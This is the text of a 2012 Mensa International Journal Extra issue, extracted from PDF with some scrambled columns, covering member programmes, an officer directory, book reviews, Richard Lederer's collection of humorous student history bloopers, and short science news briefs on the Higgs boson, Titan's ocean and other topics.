my fellow Dutch Mensans. Now I’m

able to help them connect too, which is a

great gift to bring home!”

Roeland van Zeijst,

Mensa &e Netherlands

2012 LEAP Participant

Applications for the 2013 LEAP

program will be open soon. If you are

interested in applying, start thinking

now about a topic to present on. Stay

tuned for application materials and

deadlines!

In the meantime, if you have any

questions, please email leapcomm@

mensa.org.

Ben Nemeno&Member, International LEAP

Committee

maths anxiety...



$e Mensa International Journal (MIJ) is produced under the auspices of the Mensa International Board of Directors. Pages 1-4 of each issue of the MIJ must be published in every national Mensa magazine. Publication of pages 5-8 is recommended but optional. Opinions expressed in the MIJ are those of the authors and do not necessarily re7ect the views of any other individual or any o8cial Mensa body. Submission Guidelines: Language: English only. Text: MS Word (Windows), .rtf (Word/Mac), plain text, PageMaker (Windows) Length: 500 word limit. Send by e-mail, fax, snail mail to the Editor. $e Editor reserves the right to include or edit submissions for space and content considerations. All unorigi-nal submissions must be accompanied by written permission for publication from the original author.Permission is granted for MIJ articles to be reprinted in any Mensa publication provided that the author, MIJ and MIJ’s editor are acknowledged. Permission must be sought from the MIJ editor for reprinting of any part of the MIJ in non-Mensa publications.

Chair: Mr Willem Bouwens Trompenburgstraat 6-G, 1079 TX Amsterdam &e [email protected] Tel: +31 (0)20 661 2718Director Admin: Ms Sylvia Herbert 16 Farley St, St John’s, Worcester, Worcestershire WR2 6JD [email protected] Tel: +44(0)1905 422231Director Development: Ms Bibiana Balanyi Mensa HungarIQa, H-1426 Budapest 72, Posta'ok 99 Hungary [email protected] Tel: +36 209 135175Treasurer: Cyndi Kuyper 2606 Henderson St, West Lafayette, IN 47906-1537 Tel: +1 765 463 1393Cell Phone: +1 765 714 2272 [email protected] Dir. Smaller National Mensas: Mr Björn Liljeqvist Knektvägen 1, 196 30 Kungsängen, Sweden +46 (0) 730 394199skype: bjorn.liljeqvist [email protected]. President: Dr Abbie Salny 407 Breckenridge, Wayne NJ 07470 USA Tel: +1 973 305 0055SIGHTCoordinator: Mr Richard Kingston [email protected]. SIG Coordinator: Mr Markus Schauler [email protected]:Mr Martyn Davies [email protected] Director: Mr Michael Feenan, Slate Barn, Church Lane, Caythorpe, Lincolnshire NG32 3EL, UKTel/Fax+44(0)1400272 675 [email protected]

Editorial Sta/Editor: Ms Kate Nacard 407/23 Corunna Rd, Stanmore NSW 2048 Australia [email protected] Tel: +61 2 9516 1024Science: Mr John Blinke, [email protected]: Mr Tom Elliott, [email protected] Articles: Mr &omas Hally, [email protected]

04

o"cer directory

Mensa Singapore’s Covert Footwork Initiative

In conjunction with Intelligence Day commemorated by national Mensa chapters worldwide, Mensa

Singapore will be organizing Covert Footwork 2012, a game of logic for youths, on 10 November 2012.

&e purpose of the games is to promote logical thinking among the young members of Singapore, with an em-

phasis on teamwork and communication. Many important human accomplishments are made possible by

collaborative e%orts of individual minds. &is is especially so when our youth inherit a world where

technology and social networks connect people in profound ways. It is hoped that giving them the

opportunity to work together to solve puzzles will one day lead them to work together to solve our

world’s most pressing problems.

For details on how to participate: http://www.intelligenceday.org/en/tag-der-intelligenz/events/singapore/


mensa international journal /E X T R A /

05

away from people he loved, and now

he must risk everything to protect

the family he left, make peace with a

woman he wronged, face enemies of

unimaginable ruthlessness, and try to

discover what it is that’s transformed

his life. &e person who

knows all answers is the

one who did it to him.

Reviewers call it well-

plotted, fun to read, and

a spine-tingling read.

Balls of Leather and

Steel by Guy Butler

(&e PolkaJig Press).

Based on two real people

who never actually met,

the story tells of Mal-

colm McClain, a world-famous soccer

player who joins the Royal Air Force

to great acclaim, only to be shot down

in Yugoslavia and captured by the Na-

zis. When Chez Orlowaki, a fearless

freedom 'ghter and Polish hero

known as &e Spider, learns of Hitler’s

plot to use McClain in a propaganda

campaign to demoralize the British

by falsely claiming he has embraced

Nazism. Chez vows to rescue him

from Stalag 306 and return him home

safely.

Amazing Words by Richard Lederer

(Marion Street Press). Our old friend

Richard is back again with his 40th

book on wordplay…this one high-

lighting the most amazing words he

knows. Pick up a copy and learn some

little known but astonishing, enthral-

ling, mesmerizing, and tantalizing

facts about words like alimony, bu1alo,

'libuster, gay, hamburger, and 295

Confucius said...: A Management

Book for the 21st Century by W.J.

“Duke” Mader (self-published

- [email protected]) is another

example of how Mensans pick up on

the fact that some history is meant to

be repeated. Many age-old “Oriental

way” systems apply to war and com-

bat, but some have other aims. One

is the 300-year-old A Book of Five

Rings by Miyamotto Musashi, who

was – you guessed it – a warrior, but

whose principles have been e1ectively

applied to business, leadership, and

management. I kept looking for a

list of these principles but Duke has

instead woven them into the text. But

they include such practical basics as

creating reality from concept, dedica-

tion to an absolute (focus), keeping

a positive appearance, studying the

people around you, and having a

game plan.

Seasoned Greetings by John E.

Hakala (Cressida Publishing). As

John points out, “the novel

is 'ction, the threat is real.”

In the world of nanotech-

nology, customer loyalty

is elevated to a new level,

when corporate greed is

mixed with illegal Wall

Street insider trading. &e

worlds of two distinctively

di1erent people – a former

broker, “&orny” Walsh,

who’s been relegated to a

basement o6ce following

his 'rm’s merger with a huge invest-

ment 'rm, and Traci Ross, an idealis-

tic Boston cop – come together when

a shady businessman hiding behind

the shell of a pet food company

begins his plans to subvert the world

economy. Kirkus calls it “an engaging,

well-executed thriller”.

$e Game of Pirate by Ed Wicke

(BlacknBlue Press). “&e

equipment shall be the

Spinning Compass, the

Wind Dice, the twelve-

sided Runes of Destiny,

and the cards of Fate and

Fortune.” So begins this

tale based on the board

game, Game of Pirates.

Fifteen-year-old orphan

Jack Hampton pays a

'nal visit to Capt. Jones

in prison, but little does

he suspect he’ll be spending the next

few months on board the Firebird

with a crew of rugged pirates, the

mysterious Madame Helena, and

a manuscript full of puzzling clues.

Here are treasure, treachery, witches,

mermaids, suspense, and action, all

entangled with the

loss of the Curchan

Ruby and the afore-

mentioned board

game.

Shadowed by Ken

Hughes (Windward

Row Press). &is

paranormal thriller

centers on Paul,

who is in hiding and

struggling to control

preternatural senses that no secret

is safe from – he can hear a whisper

a block away but can’t remember

why. He can’t recall what drove him

books... tom elliott



06

What would you like to see

in the IJ?

More articles? Puzzles?

Member communication

channels?

Send your ideas to me at

[email protected]

&e inhabitants of ancient Egypt

were called mummies. &ey lived in

the Sarah Dessert and traveled by

Camelot. &e climate of the Sarah is

such that the inhabitants have to live

elsewhere, so certain areas of the des-

sert are cultivated by irritation. &e

Egyptians built the Pyramids in the

shape of a huge triangular cube. &e

Pramids are a range of mountains

between France and Spain.

Pharaoh forced the Hebrew slaves

to make bread without straw. Moses

led them to the Red Sea, where they

made unleavened bread, which is

bread made without any ingredi-

ents. Afterwards, Moses went up on

Mount Cyanide to get the ten com-

mandments. David was a Hebrew

king skilled at playing the liar. He

fought with the Philatelists, a race of

people who lived in Biblical times.

Solomon, one of David’s sons, had

500 wives and 500 porcupines.

Without the Greeks we wouldn’t

have history. &e Greeks invented

three kinds of columns - Corinthian,

Doric, and Ironic. &ey also had

myths. A myth is a female moth. One

myth says that the mother of Achil-

les dipped him in the River Stynx

until he became intolerable. Achil-

les appears in &e Iliad, by Homer.

Homer also wrote &e Oddity, in

which Penelope was the last hardship

that Ulysses endured on his journey.

Actually, Homer was not written by

Homer but by another man of that

name.

Socrates was a famous Greek teacher

who went around giving people

advice. &ey killed him. Socrates died

from an overdose of wedlock.

&e Renaissance was an age in which

more individuals felt the value of

their human being. Martin Luther

was nailed to the church door at

Wittenberg for selling papal indul-

gences. He died a horrible death,

being excommunicated by a bull. It

was the painter Donatello’s interest in

the female nude that made him the

more. &ink you’re already too expe-

rienced a wordsmith to need such a

book? OK, then – what is one way

to pronounce ‘ghoti’? &ree English

words end in ‘gry’

- angry and hun-

gry; what is the

third? Where does

the word ‘golf ’

derive from? How

is Obama unique

among presiden-

tial surnames? Do

you know what

a zarf is? And what is the name of

the Brazilian weevil that frequently

appears as the last word of many

English dictionaries?

3D A-to-Z by Richard W. Kroon

(McFarland & Co. Inc.). Growing

up in the 50s and anxiously waiting

for the next 3D thriller at the local

movie house, I knew it was an idea

too good to die. So here we are sixty

years later, and 3D has returned with

a vengeance. So if you want to get on

board and learn the lingo and tech-

niques, grab a copy of this encyclo-

pedia/dictionary, which was written

by the Director of 3D Services for

Technicolor Digital Delivery Group

and covers everything from the early

stereopticons to the latest advances

in 3D/IMAX. Over 300 illustrations

to help simplify the complexities.

$e World...

according to Student

Bloopers“One of the fringe bene#ts of being an English or History teacher”

writes proli#c Mensan author Richard Lederer, “is receiving the oc-

casional jewel of a student blooper in an essay. I have pasted together

the following ‘history’ of the world from certi#ably genuine student

bloopers collected by teachers throughout the United States, from eighth

grade through college level. Read carefully, and you will learn a lot.”



07

died in infancy, and he was born

in a log cabin which he built with

his own hands. When Lincoln was

President, he wore only a tall silk hat.

He said, “In onion there is strength.”

Abraham Lincoln wrote the Get-

tysburg Address while traveling from

Washington to Gettysburg on the

back of an envelope. On the night of

April 14, 1865, Lincoln went

to the theater and got shot in

his seat by one of the actors

in a moving picture show.

&e believed assinator was

John Wilkes Booth, a suppos-

ingly insane actor. &is ruined

Booth’s career.

&e sun never set on the Brit-

ish Empire because the British

Empire is in the East and the

sun sets in the West. Queen Victoria

was the longest queen. She sat on

a thorn for 63 years. Her reclining

years and 'nally the end of her life

were exemplatory of a great person-

ality. Her death was the 'nal event

which ended her reign.

&e nineteenth century was a time of

many great inventions and thoughts.

&e invention of the steam boat

caused a network of rivers to spring

up. Cyrus McCormick invented the

McCormick raper, which did the

work of a hundred men. Samuel

Morse invented a code of telepa-

thy. Louis Pasteur invented a cure

for rabbis. Charles Darwin was a

naturalist who wrote the Organ of

Species. Madman Curie discovered

radium. And Karl Marx became one

of the Marx brothers.

(excerpt from e World According to Student

Bloopers by Richard Lederer)

Hello, Higgs

CERN scientists are saying they have

probably discovered the elusive Higgs

particle at the Large Hadron Collider

(LHC) near Geneva, Switzerland. So,

what’s the big deal? Is it really worth

the trouble?

Yes, it is worth the trouble. Under-

standing more about the way Nature

works at the smallest level is always

worth the trouble. One could have

asked Ernest Rutherford in 1911 if

he was wasting his time 'ring alpha

particles at gold foil, but his discovery

of the atomic nucleus changed the

world. &e Higgs boson could give us

a completed standard model of parti-

cle physics, and that would certainly

change the world again.

Now, in case someone out there

missed all the media explanations of

the Higgs boson a couple of years

ago, here is a quick synopsis: Physi-

cists want to know why certain parti-

cles have mass. It was proposed that

an all-pervading 'eld bestows mass

upon them as they move through it.

&at’s the Higgs 'eld. &e interesting

thing about 'elds is that they can spit

out real particles if you pump enough

energy into them. If you tweak the

electromagnetic 'eld, you get pho-

tons. If you do it to the Higgs 'eld,

you get Higgs bosons. So, to close

the loop on this explanation, if the

Higgs boson exists, then the Higgs

'eld exists. If the Higgs 'eld exists,

then we know how particles acquire

mass. &at’s why scientists are excited

about this work.

We are nowhere near to the ‘end

of physics.’ Once the Higgs has had

all of its properties measured, scien-

tists will have to see how well they

father of the Renaissance. It was an

age of great inventions and discover-

ies. Gutenberg invented the Bible.

Sir Walter Raleigh is a historical

'gure because he invented cigarettes.

Another important invention was

the circulation of blood. Sir Francis

Drake circumcised the world with a

100-foot clipper.

&en came the Middle

Ages. King Alfred

conquered the Danes,

King Arthur lived in

the Age of Shivery,

King Harold mustard-

ed his troups before

the Battle of Hast-

ings, Joan of Arc was

cannonized by Bernard

Shaw, and victims of

the Black Death grew boobs on their

necks. Finally, Magna Carta provided

that no free man should be hanged

twice for the same o1ense.

During the Renaissance, America

began. Christo-pher Columbus was

a great navigator who discovered

America while cursing about the At-

lantic. His ships were called the Nina,

the Pinta, and the Santa Fe. Later,

the Pilgrims crossed the Ocean, and

this was known as Pilgrims Progress.

George Washington married Martha

Curtis and in due time became the

Father of Our Country.&en the

Constitution of the United States

was adopted to secure domestic

hostility. Under the Constitution the

people enjoyed the right to keep bare

arms.

Abraham Lincoln became America’s

greatest Prec-edent. Lincoln’s mother

supplementally

“Under the

Constitution

the people

enjoyed the

right to keep

bare arms.”



08

match predictions made by various

theories. &en, they need to know if

the Higgs has siblings. And there are

still the questions about dark matter,

dark energy, zero point energy and a

lot of other things.

Big Bonk

USA Today, 31 May 2012. “Androm-

eda galaxy to hit Milky Way in 4

billion years.” Contributed by Bruce

Watson.

Get your lawn chairs ready and

mark your calendars. Our Milky

Way galaxy is due to smack into the

Andromeda galaxy in a few billion

years, and you don’t want to miss it.

After the collision, neither galaxy will

resemble the lovely spirals they are

today. &e collision will disrupt the

spiral arms and leave a giant elliptical

galaxy in the place of the two pin-

wheel spirals. On the other hand, the

sun will have expanded to consume

the Earth before the galaxies meet, so

there’s probably no need for the lawn

chair.

Cell Phone Cancer

Journal of the National Cancer In-

stitute, Volume 93, Issue 3. “Cellular

Telephones and Cancer - a Nation-

wide Cohort Study in Denmark.”

Do cellular phones cause cancer?

&ey probably don’t, simply because

the microwave radiation they emit

is too low in frequency to damage

DNA. (&at was the whole point

of the photoelectric e1ect that won

Einstein a Nobel prize.) Still, there’s

nothing like real world evidence. So,

Denmark performed a huge epide-

miological study of 420,095 subjects

to compare cell phone use between

1982 and 1995 with the incidence

of cancers of the head and neck. &e

last sentence in the abstract says it

all: “Conclusions: &e results of this

investigation, the 'rst nationwide

cancer incidence study of cellular

phone users, do not support the

hypothesis of an association between

use of these telephones and tumors of

the brain or salivary gland, leukemia,

or other cancers.”

Rain vs Mosquitoes

ScienceDaily, 4 June 2012.

“Mosquitoes Fly in Rain

&anks to Low Mass.”

(Proceedings of the National

Academy of Sciences, June 4)

As I scratch my latest mos-

quito bite, I think to myself

that there is nothing more

cheering than the thought

of mosquitoes being bat-

tered to bits in a rain storm.

Serves the little monsters right! But,

actually, they survive rain very well.

&eir low mass allows them to be

pushed out of the way while absorb-

ing little momentum from raindrops.

And their tough exoskeletons help

them survive direct hits. When

caught directly under a falling drop,

they extend their legs and wings to

roll out of the squash zone before the

comparatively massive drop of water

hits the ground. Designers of mini

>ying machines are studying mosqui-

toes for ideas to make their creations

more durable.

$e Sea of Titan

Science@NASA Headline News,

28 June 2012. “Titan’s Underground

Ocean.” (Science)

&e Cassini orbiter has been observ-

ing the Saturnian moon, Titan, every

time it passes near it. It has found

that Titan is deformed by Saturn’s

gravity to an extent that can only

be explained in one way: Titan has

a global subsurface ocean. It doesn’t

have to be a voluminous ocean. &ere

just seems to be enough water to

decouple the onion layers of Titan’s

internal structure. If the water is

mixed with ammonia, it could explain

the presence of methane in Titan’s

atmosphere.

Power Paint

ScienceDaily ( June 28, 2012). “Paint-

On Lithium Battery Can Be Applied

to Virtually Any Surface.”

Batteries are everywhere. &ey aren’t

just for >ashlights anymore. And

now, thanks to some cool engineer-

ing done at Rice University, they can

become less conspicuous and more

versatile. Rice researchers have cre-

ated spray-on rechargeable lithium

batteries that can be air brushed onto

almost any solid surface. &is is not a

one coat process. Several layers were

necessary to construct the anode and

cathode, as well as separators. &e

ingredients included puri'ed carbon

nanotubes and super 'ne carbon

powder. Eventually, the researchers

hope to combine their paint-on bat-

teries with paint-on solar cells that

were developed elsewhere.

john blinke: [email protected]

mind jul-sep 2012

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